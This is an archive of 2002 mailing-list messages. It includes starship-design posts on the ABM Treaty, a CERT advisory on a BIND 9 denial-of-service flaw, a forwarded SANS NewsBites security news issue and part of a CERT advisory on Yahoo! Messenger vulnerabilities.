Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil nil nil nil nil nil nil nil] nil) Content-Length: 3044 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5BMnGxf018063 for ; Tue, 11 Jun 2002 15:49:16 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5BMnGxs018061 for starship-design-outgoing; Tue, 11 Jun 2002 15:49:16 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5BMnFxf017984 for ; Tue, 11 Jun 2002 15:49:16 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17HuRo-0005Cv-00; Tue, 11 Jun 2002 15:49:08 -0700 Message-ID: <009901c2119a$0bef1990$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <20020611223145.2922.qmail@web13601.mail.yahoo.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""'Curtis Manges'"" , ""'starship-design'"" Subject: RE: RE: RE: starship-design: Want to bet that Black Horse is in here somewhere? Date: Tue, 11 Jun 2002 17:48:03 -0500 Well, I must correct myself (since no one except Kelly called me on it). I was thinking that ""that which is not explicitly forbidden must be allowed"". Unfortunately, my memory of the ABM Treaty dates from when it was signed. I just went back to look at it and it turns out that they DID explicitly forbid everything except the two ground based sites. Here is a brief synopsis: IV. THE ABM TREATY AND BALLISTIC MISSILE DEFENSE Background The ABM Treaty was a product of the Cold War, bipolarity, and the state of technology at that time. The United States and Soviet Union had both deployed significant strategic nuclear forces that increasingly came to rely on long-range ballistic missiles. In an attempt to forestall a further Soviet increase in the number of such systems, the United States sought and obtained from the Soviet Union in 1972 an interim agreement for the limitation of ""strategic offensive arms"" (Interim Agreement), which essentially froze the number of strategic ballistic missile launchers of the two sides at existing levels. At the same time, the two parties entered into a formal treaty (the ABM Treaty) on the limitation of ""antiballistic missile systems,"" or systems designed to defend against strategic ballistic missiles. The ABM Treaty did not ban all antiballistic missile systems. It permitted the research, development, and limited deployment of ground-based ABM systems. As signed in 1972, the two sides were permitted two operational ABM sites, each with 100 ABM launchers and 100 ABM interceptor missiles, with associated radar, storage, and test facilities. A 1974 amendment reduced the number of permitted operational ABM sites to one per side. The deployments were limited to ground-based ABM systems, which were the technological approach of the time and included fixed ground-based launchers, ground-launched interceptor missiles, and associated ground-based radars. Deployment of ABM systems based on ""other physical principles"" and including constituent parts capable of substituting for these ground-based ABM components was to be subject to discussion and agreement by the parties. Development, testing, or deployment of sea-, air-, or space-based, or mobile land-based systems were all banned. [37] The ABM Treaty thus enshrined as strategic doctrine the principle of deterrence through threat of retaliation. Since neither side was free to deploy unlimited defenses against the strategic ballistic missiles of the other, each nation sought to deter any outright attack by the other through its ability to threaten overwhelming retaliation against an attack with its own nuclear-armed strategic ballistic missiles. The Interim Agreement and the ABM Treaty were bilateral agreements applicable only to U.S. and Soviet strategic ballistic missiles and ABM systems. While the Soviets were worried about U.K. and French strategic nuclear forces, and both the Soviet Union and the United States had reason to be concerned about Chinese nuclear forces, these forces were not limited by either agreement. >From VM Sun Jun 30 10:52:38 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""6082"" ""Sunday"" ""30"" ""June"" ""2002"" ""09:23:40"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""138"" ""starship-design: Starbooster, etc."" ""^From:"" nil nil ""6"" nil ""starship-design: Starbooster, etc."" nil nil nil nil nil nil] nil) Content-Length: 6082 Return-Path: Received: from darkwing.uoregon.edu (localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5UEOubw022531 for ; Sun, 30 Jun 2002 07:24:56 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g5UEOucs022530 for starship-design-outgoing; Sun, 30 Jun 2002 07:24:56 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g5UEOtbw022525 for ; Sun, 30 Jun 2002 07:24:55 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17OfdG-0003JH-00 for starship-design@lists.uoregon.edu; Sun, 30 Jun 2002 07:24:54 -0700 Message-ID: <002501c22041$bbe89460$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: multipart/related; boundary=""----=_NextPart_000_0026_01C22017.D3128C60"" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Starbooster, etc. Date: Sun, 30 Jun 2002 09:23:40 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0026_01C22017.D3128C60 Content-Type: multipart/alternative; boundary=""----=_NextPart_001_0027_01C22017.D3128C60"" ------=_NextPart_001_0027_01C22017.D3128C60 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit New SBIR contract award by USAF for reusable space vehicle research, check this URL: http://www.starbooster.com/ Lee ------=_NextPart_001_0027_01C22017.D3128C60 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable New SBIR = contract award by=20 USAF for reusable space vehicle research, check this = URL:   http://www.starbooster.com/   Lee ------=_NextPart_001_0027_01C22017.D3128C60-- ------=_NextPart_000_0026_01C22017.D3128C60 Content-Type: image/jpeg; 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Systems Affected * Domain Name System (DNS) servers running ISC BIND 9 prior to 9.2.1 Because the normal operation of most services on the Internet depends on the proper operation of DNS servers, other services could be affected if this vulnerability is exploited. Overview A denial-of-service vulnerability exists in version 9 of the Internet Software Consortium's (ISC) Berkeley Internet Name Domain (BIND) server. ISC BIND versions 8 and 4 are not affected. Exploiting this vulnerability will cause the BIND server to shut down. I. Description BIND is an implementation of the Domain Name System (DNS) that is maintained by the ISC. A vulnerability exists in version 9 of BIND that allows remote attackers to shut down BIND servers. An attacker can cause the shutdown by sending a specific DNS packet designed to trigger an internal consistency check. However, this vulnerability will not allow an attacker to execute arbitrary code or write data to arbitrary locations in memory. The internal consistency check that triggers the shutdown occurs when the rdataset parameter to the dns_message_findtype() function in message.c is not NULL as expected. The condition causes the code to assert an error message and call abort() to shut down the BIND server. It is also possible to accidentally trigger this vulnerability using common queries found in routine operation, especially queries originating from SMTP servers. A vulnerability note describing this problem can be found at http://www.kb.cert.org/vuls/id/739123. This vulnerability note includes a list of vendors that have been contacted about this vulnerability. This vulnerability is also being referenced as CAN-2002-0400: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0400 II. Impact Exploitation of this vulnerability will cause the BIND server to abort and shut down. As a result, the BIND server will not be available unless it is restarted. III. Solution Apply a patch from your vendor The ISC has released BIND version 9.2.1. The CERT/CC recommends that users of BIND 9 apply a patch from their vendor or upgrade to BIND 9.2.1. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Apple The version of BIND that ships in Mac OS X and Mac OS X Server does not contain this vulnerability. BSDI Wind River Systems, Inc. does not include BIND 9 with any version of BSD/OS. Caldera SCO OpenServer from Caldera does not ship BIND9, and is therefore not vulnerable. Caldera Open UNIX does ship BIND9, and is vulnerable. We are investigating. Caldera OpenLinux does not ship BIND9, and is therefore not vulnerable. Compaq Computer Corporation HP Alpha Server Products: HP Tru64 UNIX: Tru64 UNIX is not vulnerable to this reported problem. HP Tru64 UNIX ships with BIND 8.2.2-p5 TCP/IP for HP OpenVms: TCP/IP for HP OpenVms is not vulnerable to this reported problem.The current versions of TCP/IP for HP OpenVMS ship BIND 8.2.2-p5 HP NonStop Server: ""HP NonStop Himalaya is not vulnerable to this problem. The 'named' function of Domain Name Server (T6021) which is implemented for HP NonStop Himalaya is based on BIND 4.8. NonStop DNS is the only Himalaya software product that includes 'named'."" Cray Cray, Inc. is not vulnerable since the BIND distributed with Unicos and Unicos/mk is not based on BIND 9. Engarde Guardian Digital does not ship BIND 9 in any versions of EnGarde Secure Linux, therefore we are not vulnerable. All versions were shipped with BIND 8. F5 Networks, Inc. F5 Networks' products do not include BIND 9, and are therefore not affected by this vulnerability. FreeBSD The FreeBSD base system does not ship with ISC BIND 9. However, ISC BIND 9 is available in the FreeBSD Ports Collection. It is currently at version 9.2.1 and is therefore unaffected. Hewlett-Packard Company HP is Vulnerable, Solution investigation continuing.. IBM After analysis of the affected component, IBM has determined that the AIX bind deamon is not vulnerable to the attack as described in the CERT advisory. Internet Software Consortium This vulnerability was found through routine bug analysis. BIND 9 is designed to exit when it detects an internal consistency error to reduce the impact of bugs in the server. ISC strongly reccomends that all BIND 9 users upgrade immediately to 9.2.1. BIND 9.2.1 can be found at http://www.isc.org/products/BIND/bind9.html. MandrakeSoft Mandrake Linux 8.x ships with BIND9 and as such updated packages will be available as early as possible. Microsoft Corporation Microsoft has reviewed the information and can confirm that our products are not affected by this vulnerability. NEC Corporation sent on June 3, 2002 [Server Products] * EWS/UP 48 Series operating system - is NOT vulnerable. NetBSD NetBSD has not included Bind 9 in the base system of any release or -current development branch. Bind 9 is available from the 3rd party software system, pkgsrc. Users who have installed net/bind9 or net/bind9-current should update to a fixed version. pkgsrc/security/audit-packages can be used to keep up to date with these types of issues. Network Appliance All NetApp products do not contain any BIND code, so no NetApp product is vulnerable to this problem. Nortel Networks Limited Nortel Networks is reviewing its portfolio to determine if any products are affected by the vulnerability noted in CERT Advisory CA-2002-15. A definitive statement will be issued shortly. Red Hat Red Hat distributed BIND 9 in Red Hat Linux versions 7.1, 7.2, and 7.3. We are currently working on producing errata packages, when complete these will be available along with our advisory at the URL below. At the same time users of the Red Hat Network will be able to update their systems using the 'up2date' tool. http://rhn.redhat.com/errata/RHSA-2002-105.html Silicon Graphics, Inc. IRIX does not ship with BIND9 and is not vulnerable. Sun Microsystems Sun does not ship BIND 9 with any version of Solaris at this time and is therefore not affected by this issue. SuSE, Inc. We are affected by the bind9 DoS issue as well. All of our currently supported SuSE Linux products come with a bind9 package. We will release an announcement for the issue, coordinated with your timeframe and not before we see your official announcement. Unisphere Networks, Inc. The Unisphere Networks ERX family of edge routers does not implement a DNS server or named daemon within the Unison OS. Additionally, the DNS client found on the ERX is not based on the ISC BIND code. Unisphere Networks has no reason to expect a similar problem exists in the DNS client implementation found on the ERX. _________________________________________________________________ The CERT Coordination Center thanks the Internet Software Consortium for notifying us about this vulnerability. _________________________________________________________________ Author: Ian A. Finlay ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-15.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History June 04, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPP0kn6CVPMXQI2HJAQFEyQP/fkgF01EWoE2JPDB3kPwLhSUSrM8XHNvQ +vfuH8ZSUAiG0/g/zSGjeTt0NFYeeI6kMS7MQqS76ECaP93l7gR/zucShEkOKliy 4NHjoF34gPqPlDu6BAdh2xfl9q+LNdu8EHs8rjl1FqjvPKmL436tS0ToJXqXDpmx /WHO3P3AwhM= =M/6l -----END PGP SIGNATURE----- ",0,1 Kelley McDonald ,linuxusers@astron.Berkeley.EDU,"Wed, 05 Jun 2002 12:59:37 -0700",SANS NewsBites Vol. 4 Num. 23,"Thought you should be aware of the ""cross-platform"" virus called Simile...it infects both windows and linux platforms (see below). Kelley ------------- Begin Forwarded Message ------------- Date: Wed, 5 Jun 2002 13:35:32 -0600 (MDT) From: The SANS Institute Subject: SANS NewsBites Vol. 4 Num. 23 To: Kelley McDonald (SD537286) To: Kelley McDonald (SD537286) From: Alan for the SANS NewsBites service Re: June 5 SANS NewsBites -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ********************************************************************** SANS NEWSBITES The SANS Weekly Security News Overview Volume 4, Number 23 June 5, 2002 Editorial Team: Kathy Bradford, Dorothy Denning, Roland Grefer, Bill Murray, Stephen Northcutt, Alan Paller, Marcus Ranum, Eugene Schultz ********************************************************************* We received two remarkable notes this week. The first came from Larry Lidz, Network Security Officer at the University of Chicago. It provides from-the-trenches insight into the only method available (to most users) to defend themselves against fast-moving worms. I've included it at the end of this issue. The second came from Randy Marchany, the security guru at Virginia Tech. He writes, ""All the smug Linux types (including me) can quit smiling now.. ;) The Simile virus attacks both Windows and Linux systems. Fortunately, *this* variant seems to be non-malignant.... for now."" (See the first story below.) ===== Most Newsbites subscribers will be mailed a new poster showing security career tracks, satisfaction levels, and salary range information for the principal security and audit jobs, based on the news survey. Please verify your surface mail address (before June 10) using your private url that you can get at http://www.sans.org/sansurl. We can send it to you only if we have the correct surface mail address. Alan TOP OF THE NEWS 3 June 2002 Simile is Cross-Platform Virus 31 May 2002 Biometric Technologies Don't Stand Up to Testing 29 & 30 May 2002 Euro Parliament Passes Data Retention Directive 29 & 30 May 2002 Cyber Security Ranks Third on FBI's Top Ten List 23 May 2002 PKI Never Caught On THE REST OF THE WEEK'S NEWS 31 May 2002 Three NEC Toshiba Employees Arrested for Hacking 31 May 2002 UK's Inland Revenue On-Line Filing System Taken Down Over Security Concerns 31 May 2002 Congressional Office Employs Iris Scanning 30 May 2002 Smiling Faces are Easier to Match 31 May 2002 Paper Says Open Source Software is Not Secure 30 May 2002 News Site Vulnerability Could be Used to Send Spam or Phony News Stories 30 May 2002 Tactical Database and Web Page Used in War 29 & 30 May 2002 Exchange 2000 Flaw 29 May 2002 California Will Hold Hearing on Employee Database Breach 29 May 2002 Carnivore Bites Off More Than It's Supposed to Chew 29 May 2002 Hacker Steals Data from TheNerds.net 29 May 2002 M-o-o-t Aims to Circumvent UK's RIP Encryption Key Requirement 29 May 2002 Macromedia JRun Buffer Overflow Vulnerability 29 May 2002 Congress Wants More Info from OMB on Agency Security Plans 28, 29 & 30 May 2002 Fidelity Data Exposed 28 May 2002 Excel Vulnerability 28 May 2002 Yahoo Offers Patch for Messenger Holes 28 May 2002 Credit Card Fraud On Line Museum May Be Too Explicit 27 May 2002 Cyber Attacks are Up In Australia 27 May 2002 FAA to Pilot Smart Card Program 27 May 2002 Homeland Security Generates Tech Proposals IN-DEPTH TECHNICAL SECURITY TRAINING (AND SECURITY MANAGEMENT COURSES) IN THE NEXT 90 DAYS SANSFire (Boston, June 27) classes in Forensics and Intrusion Detection near capacity. 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Reserve your seat now by going to http://www.iss.net/education/course_descriptions/new_classes/wireless_security.p hp and mention this newsletter for your 10% discount. ********************************************************************** TOP OF THE NEWS --3 June 2002 Simile is Cross-Platform Virus The Simile virus infects Portable Executable (PE) and ELF files on both Windows and Linux operating systems. The virus does not carry a malicious payload, although infected files could display messages on certain dates. http://www.smh.com.au/articles/2002/06/03/1022982662974.html http://www.symantec.com/avcenter/venc/data/linux.simile.html --31 May 2002 Biometric Technologies Don't Stand Up to Testing A number of recent tests of biometric security technologies have underscored their weaknesses. A pilot face recognition system at Palm Beach (FL) International Airport had an accuracy rate of less that 50%; airport authorities decided against making the technology a part of their security procedure. A German technology magazine's tests of facial recognition systems and fingerprint readers showed the technologies were easily fooled. And finally, a Japanese engineering professor demonstrated techniques to create phony fingerprints that fool fingerprint readers. http://news.bbc.co.uk/hi/english/sci/tech/newsid_2016000/2016788.stm [Editor's (Murray) Note: Biometric systems are not as good as one might hope. They are fundamentally vulnerable to forgery and replay attacks. However, they are a very useful second or third form of evidence in strong authentication schemes.] --29 & 30 May 2002 Euro Parliament Passes Data Retention Directive The European Parliament has passed the Communications Data Protection Directive under which member countries could make telecommunications companies retain customers' data records available for perusal by law enforcement. The directive now goes before member countries for approval. Civil liberties groups oppose the legislation. http://www.wired.com/news/politics/0,1283,52829,00.html http://www.wired.com/news/politics/0,1283,52882,00.html --29 & 30 May 2002 Cyber Security Ranks Third on FBI's Top Ten List FBI Director Robert Mueller has placed cyber security third on the agency's top ten list of agency priorities, behind terrorism and espionage. Mueller remarked that the FBI's technology is ""years behind"" what it should be, and said he plans to upgrade technology, educate employees and recruit IT specialists. He also hopes to be more connected to the rest of the government. http://zdnet.com.com/2100-1105-927933.html http://www.gcn.com/vol1_no1/daily-updates/18800-1.html http://www.wired.com/news/politics/0,1283,52853,00.html http://www.computerworld.com/securitytopics/security/story/0,10801,71533,00.html --23 May 2002 PKI Never Caught On Calling PKI (Public Key Infrastructure) ""terminally promising"" the author enumerates the reasons the technology hasn't caught on. Vendors never established standards, which made interoperability a big problem. They also required a lot of money up front, which was fine until security budgets started getting tighter. One company that saw their PKI business drop to nothing has refocused their energy on smaller projects. http://www2.cio.com/research/security/edit/a05232002.html [Editor's (Schultz) Note: The fact that the PKI movement is essentially dead should come as no surprise. The more interesting question now is what will rise out of the proverbial rubble of PKI's ruins to replace it and when. Whoever provides a good alternative solution has a lot to gain. (Murray): Infrastructure has scale; e.g., application, system, network, enterprise, cross-enterprise, industry, national, and global. We design it top-down but we implement it bottoms up, one application at a time. We are doing successful applications but it is naive to believe that we will build the national or global infrastructure in less time than it took us to build the phone system, the highway system, or the internet.] ********************* Sponsored Link ********************************* NEUTRALIZE perimeter attacks and stop false alarms. FREE whitepaper shows you how! http://www.sans.org/cgi-bin/sanspromo/NB40 ********************************************************************** THE REST OF THE WEEK'S NEWS --31 May 2002 Three NEC Toshiba Employees Arrested for Hacking Three employees of Japan's NEC Toshiba Space Systems Co. have been arrested for allegedly hacking into a computer at Japan's National Space Development Agency (NASDA), and accessing a competitor's designs for a high-speed Internet satellite antenna. The breach took place in December 2001 but was not discovered until February 2002, when one of the employees bragged about the exploit to an e-mail list. His company was banned from bidding for NASDA contracts for one month. http://www.cnn.com/2002/TECH/internet/05/31/japan.space.hackers.ap/index.html --31 May 2002 UK's Inland Revenue On-Line Filing System Taken Down Over Security Concerns The UK's Inland Revenue (IR) has taken down its on-line tax filing system after people complained that they could view others' tax documents. An Ernst & Young review of the IR's on line system two years ago revealed some security concerns. http://www.theregister.co.uk/content/23/25522.html http://www.idg.net/ic_869764_1794_9-10000.html --31 May 2002 Congressional Office Employs Iris Scanning The Office of Legislative Counsel for the House of Representatives has begun using iris-scanning technology to authenticate users for access to confidential files and working documents. The office is the first on Capitol Hill to employ biometric technology for this purpose. http://www.fcw.com/fcw/articles/2002/0527/web-house-05-31-02.asp --30 May 2002 Smiling Faces are Easier to Match Facial recognition systems have an easier time matching smiling or grimacing faces than they do expressionless mugshots, according to research conducted by University of Maryland professors. http://www.smh.com.au/articles/2002/05/30/1022569804486.html --31 May 2002 Paper Says Open Source Software is Not Secure A white paper from the Alexis De Tocqueville Institution maintains that open source software opens the door for attacks and warns the government not to use it for matters of national security. http://zdnet.com.com/2100-1104-929669.html [Editor's (Schultz) Note: Hopefully this ""think tank"" has in intellectual fairness also considered the reason for the presence of an unparalleled number of security-related bugs over the years in the highly proprietary Microsoft product line!] --30 May 2002 News Site Vulnerability Could be Used to Send Spam or Phony News Stories Hackers could potentially use the ""e-mail a friend"" function found on some news sites to send spam or even send phony news stories. By examining the source code to the pages created when someone e-mails an article to a friend, people could find out how to send e-mail through the news sites' servers. http://online.securityfocus.com/news/454 --30 May 2002 Tactical Database and Web Page Used in War American commanders at Bagram airbase in Afghanistan and in the United States are using the Tactical Web Page and underlying database to communicate and make military decisions. The site is used to transmit field information and orders, and is protected with intrusion detection systems and firewalls. http://www.cnn.com/2002/TECH/internet/05/30/afghan.war.web.page.ap/index.html --29 & 30 May 2002 Exchange 2000 Flaw Microsoft has issued an alert and a patch for a security flaw in its Exchange 2000 e-mail server software that could be exploited to completely consume processor resources, resulting in a denial-of-service attack. When Exchange 2000 receives e-mail with certain malformed attributes, it moves the message to Exchange 2000 Store Service and waits for it to be processed. The problem cannot be addressed by rebooting the server or restarting the service. Exploiting the flaw requires knowledge of SMTP. http://news.com.com/2100-1001-928055.html http://www.computerworld.com/securitytopics/security/holes/story/0,10801,71532,0 0.html alert: http://www.microsoft.com/technet/security/bulletin/ms02-025.asp patch: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=38951 --29 May 2002 California Will Hold Hearing on Employee Database Breach California senators will hold a hearing to investigate the security breach that compromised the personal data of 260,000 state workers. Specifically, the group wants to know how an attack that took place on April 5 was not detected until May 7, and why workers were not notified that their information had been breached until two weeks after that. http://www.cnn.com/2002/TECH/internet/05/29/california.hackers.ap/index.html --29 May 2002 Carnivore Bites Off More Than It's Supposed to Chew FBI documents obtained under the Freedom of Information Act (FOIA) indicate that the agency's Carnivore Internet monitoring system snared messages from people not under investigation. When Carnivore was used in 2000 to investigate communications among members of Osama bin Laden's terrorist network, the FBI e-mail surveillance software captured other unrelated messages. The technician reportedly destroyed all the captured messages because capturing the messages unrelated to the court order violated federal wiretap laws. An FBI spokesman says the messages were not destroyed but were put under seal. http://zdnet.com.com/2100-1105-927416.html http://www.fcw.com/fcw/articles/2002/0527/web-carn-05-29-02.asp http://www.washingtonpost.com/wp-dyn/articles/A24213-2002May28.html http://www.wired.com/news/politics/0,1283,52842,00.html brief history of Carnivore: http://www.washingtonpost.com/wp-dyn/articles/A32344-2002May30.html --29 May 2002 Hacker Steals Data from TheNerds.net A hacker/extortionist breached security at the on line electronics store TheNerds.net, making off with customer credit card information. The thief sent e-mails to some of the affected customers; TheNerds.net is notifying all its customers that their personal data may have been compromised. The hacker allegedly broke into the site through an SQL server. The company will not meet any extortion demand and is working with the FBI and the Secret Service on the case. Someone using the same hacker handle broke into three other websites over the past eight months, and has demanded up to $50,000 to keep quiet about the breach. http://news.com.com/2100-1017-928085.html http://www.msnbc.com/news/759029.asp?0dm=T23AT --29 May 2002 M-o-o-t Aims to Circumvent UK's RIP Encryption Key Requirement An open source cryptography project called m-o-o-t is designed to undermine a UK law called the Regulation of Investigatory Powers Act that would require people to surrender encryption keys to law enforcement officials upon demand. M-o-o-t stores keys and data overseas, out of national jurisdiction, and the keys expire after each use. http://www.theregister.co.uk/content/55/25499.html --29 May 2002 Macromedia JRun Buffer Overflow Vulnerability According to a CERT warning, a buffer overflow vulnerability in Macromedia's JRun 3.0 and 3.1 could allow an attacker to run code with system privileges. Users are encouraged to apply a patch or upgrade to JRun 4. http://www.cert.org/advisories/CA-2002-14.html http://www.idg.net/ic_868503_1794_9-10000.html Patch: http://www.macromedia.com/v1/Handlers/index.cfm?ID=22273&Method=Full#download JRun 4: http://www.macromedia.com/software/jrun/ --29 May 2002 Congress Wants More Info from OMB on Agency Security Plans In accordance with the Government Information Security Reform Act (GISRA), the Office of Management and Budget (OMB) received computer security reports from government agencies and reported the results to Congress earlier this year. While the OMB was able to describe the agencies' security strengths and weaknesses, they did not tell Congress how the agencies plan to address security shortcomings. Without the information, it will be hard to make funding decisions. http://www.govexec.com/dailyfed/0502/052902m1.htm --28, 29 & 30 May 2002 Fidelity Data Exposed Ian Allen, a professor of computer science at Algonquin College in Ottawa, found that by altering digits in the URL of his Fidelity Mutual Fund report, he was able to view others' reports. He was able to view names and account numbers, but could not alter the data or make trades. Fidelity removed the link after Professor Allen informed them of the vulnerability. Logs show that no one else accessed others' data, and the company has offered the affected customers new passwords. The flaw affected only Canadian account holders. http://www.nationalpost.com/financialpost/cadbusiness/story.html?f=/stories/2002 0528/362795.html http://www.msnbc.com/news/758979.asp?0dm=C25AT http://www.computerworld.com/managementtopics/management/financial/story/0,10801 ,71545,00.html --28 May 2002 Excel Vulnerability Georgi Guninski has found a security hole in Windows XP Excel. If users of the application view spreadsheets with an XML stylesheet that contains code, the computer will try to run that code. http://zdnet.com.com/2100-1104-923263.html --28 May 2002 Yahoo Offers Patch for Messenger Holes Attackers could exploit a buffer overflow vulnerability in Yahoo messenger to execute malicious code on a vulnerable computer; they could also use Java or VBS to change or create new content tabs and alter Messenger settings. Yahoo has updated version 5.0 of its Messenger service after learning of the problems. http://www.vnunet.com/News/1132167 http://www.idg.net/ic_868065_1794_9-10000.html http://news.com.com/2100-1023-923638.html --28 May 2002 Credit Card Fraud On Line Museum May Be Too Explicit An on line credit card fraud museum is drawing criticism because some feel its exhibits essentially provide an instructional manual for would-be card hackers. Exhibits include software used to create phony credit cards and information on finding and compromising vulnerable web sites. The proprietor reportedly charges a $30 initiation fee and $10 a month to view the site; he is the man who, in April, allegedly planted phony credit card numbers on the Internet and offered links to those sites in chat rooms to see how fast the news would spread. http://www.businessweek.com/technology/content/may2002/tc20020528_8754.htm --27 May 2002 Cyber Attacks are Up In Australia The incidence of cyber crime, including data and network sabotage and virus infections is higher per capita in Australia than in the US, according to a survey funded by the New South Wales Police, the Australian Computer Emergency Response Team and Deloitte & Touche. 67% of Australian companies have been hacked, 7% more than in US. http://www.vnunet.com/News/1132138 --27 May 2002 FAA to Pilot Smart Card Program The Federal Aviation Administration (FAA) plans to issue smart cards to its employees in a pilot program for the Transportation department (DOT). The cards will be used to access both facilities and computers. The FAA will put out a request for proposals shortly. If the program is successful, smart cards may be implemented throughout the DOT. http://www.fcw.com/fcw/articles/2002/0527/news-faa-05-27-02.asp --27 May 2002 Homeland Security Generates Tech Proposals Money available for homeland security projects has brought forth a veritable smorgasbord of technologies from companies hoping to cash in, including biometric cards, body scanners, and proposals for security procedures, including the creation of a database of travel records. Some fear that the proposed technologies and procedures could violate people's privacy. http://www.siliconvalley.com/mld/siliconvalley/3349627.htm The Bush administration says it plans to carefully evaluate proposed homeland security technologies to ensure they do not impinge upon citizens' privacy and civil liberties. http://www.washingtonpost.com/wp-dyn/articles/A29017-2002May29.html ============= Larry Lidz describes how the University of Chicago protects its users against worms. ""Before a major attack there are often small, subtle ones while the attackers try out their methods for carrying out the larger attack. The University of Chicago has about 25,000 people on its network and about 13,000 computers. We are currently averaging about one compromised machine a day (it has been higher than normal recently). We have tons of machines that run MS-SQL, and even more that run the MS Data Engine. Some of these machines are run by vendors, who don't password the 'sa' account. Many of these machines are control machines for scientific equipment which *do not work* if there is a password on the 'sa' account. However, when the SQL Snake worm was released we had zero machines infected. This wasn't because of a technical solution -- we have no firewall, no large defensive borders. We were able to stay off the worm by successfully noting an early indicator. In particular, a few months back there was a lesser known worm called CBlade. CBlade, like SQL Snake propagates via MS-SQL servers with no password on the 'sa' account. As a threat, however, it never took off. Why? Because the CBlade worm connected to a web site at the Philadelphia Museum of Art before propagating. The Art Museum took down the offending web site and CBlade was neutralized. However, our policy allows us to immediately remove from the University's network any machine that is an immediate threat to the network. This includes any machine that is vulnerable to a worm. We recognized that, while the CBlade worm was neutralized, a variant would be easy to write. The next one wouldn't always connect to a single web site, it would connect back to the infecting host. As such, we removed all MS-SQL (including MSDE) machines from the network if they didn't have an 'sa' password. Writing a fast propagating, effective worm is not, currently, an easy thing to do. It is much more likely that someone will write one that isn't effective before the effective one is let loose. Watching for, and more importantly, acting upon, these early indicators is something that we as a community need to make sure is a priority. There's not a bug that's found that our group here doesn't ask ourselves how likely it will be to be used as a worm and what the largest potential damage from the bug is. Thanks again, - -Larry ==end== Please feel free to share this with interested parties via email, but no posting is allowed on web sites. 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Messenger Original release date: June 05, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Yahoo! Messenger version 5,0,0,1064 and prior for Microsoft Windows Overview There are multiple vulnerabilities in Yahoo! Messenger. Attackers that are able to exploit these vulnerabilities may be able to execute arbitrary code with the privileges of the victim user. We have not seen active scanning for these vulnerabilities, nor have we received any reports of these vulnerabilities being exploited, but users should upgrade to version 5,0,0,1065 or later. I. Description Yahoo! Messenger is a widely used program for communicating with other users over the Internet. On May 27, 2002, a buffer overflow and a URL validation vulnerability were discovered in the Yahoo! Messenger client for Microsoft Windows. Details of each vulnerability follow: VU#137115 - Yahoo! Messenger contains a buffer overflow in the URI handler The buffer overflow occurs during the processing of the Yahoo! Messenger URI handler (ymsgr:). This URI handler is installed at the system level for applications that use the underlying operating system when processesing URIs (such as Microsoft Internet Explorer, Netscape Navigator 6, Microsoft Outlook, or the command shell). A URI can be sent by another Yahoo! Messenger user in a message, embedded in a web site, or sent in an HTML-renderable email message. This vulnerability has been assigned as CAN-2002-0031 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0031 VU#172315 - Yahoo! Messenger ""addview"" function allows for the automatic execution of malicious script contained in web pages A vulnerability exists in the Yahoo! Messenger ""addview"" function that permits a remote attacker to execute arbitrary script and HTML in the Internet security zone of the local machine. The ""addview"" function is only supposed to accept view information from Yahoo! servers. However, an attacker can send malicious script and HTML to the client using the Yahoo! URL redirection service. This script or HTML is interpreted by the Yahoo! Messenger client and is displayed in the client's web browser. This vulnerability has been assigned as CAN-2002-0032 by the Common Vulnerabilities and Exposures (CVE) 